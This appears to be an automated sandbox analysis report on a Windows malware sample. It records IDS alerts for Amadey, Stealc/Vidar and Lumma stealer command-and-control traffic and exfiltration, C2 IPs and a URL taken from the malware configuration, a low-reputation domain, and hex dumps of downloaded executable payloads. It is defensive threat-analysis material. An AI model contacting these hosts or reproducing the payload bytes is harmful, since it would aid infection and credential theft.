Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1014523001\8b42a83bd5.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50049 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 93ee6c8e33.exe, 00000021.00000002.3319222365.0000000000AB2000.00000040.00000001.01000000.00000015.sdmp, 93ee6c8e33.exe, 00000021.00000003.3176806097.0000000005270000.00000004.00001000.00020000.00000000.sdmp, 93ee6c8e33.exe, 00000026.00000003.3316005138.0000000005310000.00000004.00001000.00020000.00000000.sdmp, 93ee6c8e33.exe, 00000026.00000002.3361891239.0000000000AB2000.00000040.00000001.01000000.00000015.sdmp

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005EDBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	15_2_005EDBBE
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005BC2A2 FindFirstFileExW,	15_2_005BC2A2
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005F68EE FindFirstFileW,FindClose,	15_2_005F68EE
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005F698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	15_2_005F698F
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005ED076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	15_2_005ED076
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005ED3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	15_2_005ED3A9
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005F9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	15_2_005F9642
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005F979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	15_2_005F979D
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005F9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	15_2_005F9B2B
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005F5C97 FindFirstFileW,FindNextFileW,FindClose,	15_2_005F5C97

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 188MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49866 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49872
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49895 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49913 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49937 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49941 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49966 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50003 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49997 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50047 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50073 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50017 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50057 -> 172.67.139.78:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50057 -> 172.67.139.78:443
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.6:50074 -> 116.203.10.31:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50072 -> 172.67.139.78:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50102 -> 172.67.139.78:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 116.203.10.31:443 -> 192.168.2.6:50078
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50069 -> 172.67.139.78:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50069 -> 172.67.139.78:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 116.203.10.31:443 -> 192.168.2.6:50076

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Performs DNS queries to domains with low reputation

Source:	DNS query: grahm.xyz
Source:	DNS query: grahm.xyz
Source:	DNS query: grahm.xyz

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 12 Dec 2024 20:50:10 GMTContent-Type: application/octet-streamContent-Length: 1961472Last-Modified: Thu, 12 Dec 2024 19:17:27 GMTConnection: keep-aliveETag: "675b36c7-1dee00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 21 4a f8 9d 40 24 ab 9d 40 24 ab 9d 40 24 ab 83 12 a0 ab 81 40 24 ab 83 12 b1 ab 89 40 24 ab 83 12 a7 ab c5 40 24 ab ba 86 5f ab 94 40 24 ab 9d 40 25 ab f6 40 24 ab 83 12 ae ab 9c 40 24 ab 83 12 b0 ab 9c 40 24 ab 83 12 b5 ab 9c 40 24 ab 52 69 63 68 9d 40 24 ab 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 0c de dd 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 d4 02 00 00 b0 01 00 00 00 00 00 00 90 86 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 86 00 00 04 00 00 57 52 1e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5a 10 42 00 6e 00 00 00 00 e0 40 00 68 21 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e4 cb 85 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 40 00 00 10 00 00 00 54 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 68 21 01 00 00 e0 40 00 00 94 00 00 00 64 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 42 00 00 02 00 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 29 00 00 20 42 00 00 02 00 00 00 fa 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 65 74 65 6b 6d 6c 61 00 d0 1a 00 00 b0 6b 00 00 cc 1a 00 00 fc 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 78 6e 76 69 6e 70 64 00 10 00 00 00 80 86 00 00 04 00 00 00 c8 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 86 00 00 22 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 12 Dec 2024 20:50:18 GMTContent-Type: application/octet-streamContent-Length: 966656Last-Modified: Thu, 12 Dec 2024 20:00:34 GMTConnection: keep-aliveETag: "675b40e2-ec000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 da 40 5b 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 10 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 0f 00 00 04 00 00 61 83 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 9c 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 9c 54 01 00 00 40 0d 00 00 56 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 a0 0e 00 00 76 00 00 00 4a 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 12 Dec 2024 20:50:26 GMTContent-Type: application/octet-streamContent-Length: 1804800Last-Modified: Thu, 12 Dec 2024 20:01:51 GMTConnection: keep-aliveETag: "675b412f-1b8a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 30 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 69 00 00 04 00 00 ea ea 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2a 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 70 71 6b 6a 73 76 6a 00 f0 19 00 00 30 4f 00 00 e6 19 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 66 65 66 63 63 78 63 00 10 00 00 00 20 69 00 00 04 00 00 00 64 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 69 00 00 22 00 00 00 68 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 12 Dec 2024 20:50:34 GMTContent-Type: application/octet-streamContent-Length: 2757120Last-Modified: Thu, 12 Dec 2024 20:00:59 GMTConnection: keep-aliveETag: "675b40fb-2a1200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 89 16 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 65 64 6e 6f 6c 66 67 6b 00 c0 29 00 00 a0 00 00 00 b0 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 75 73 63 73 6f 61 6a 00 20 00 00 00 60 2a 00 00 06 00 00 00 ea 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2a 00 00 22 00 00 00 f0 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 12 Dec 2024 20:50:45 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
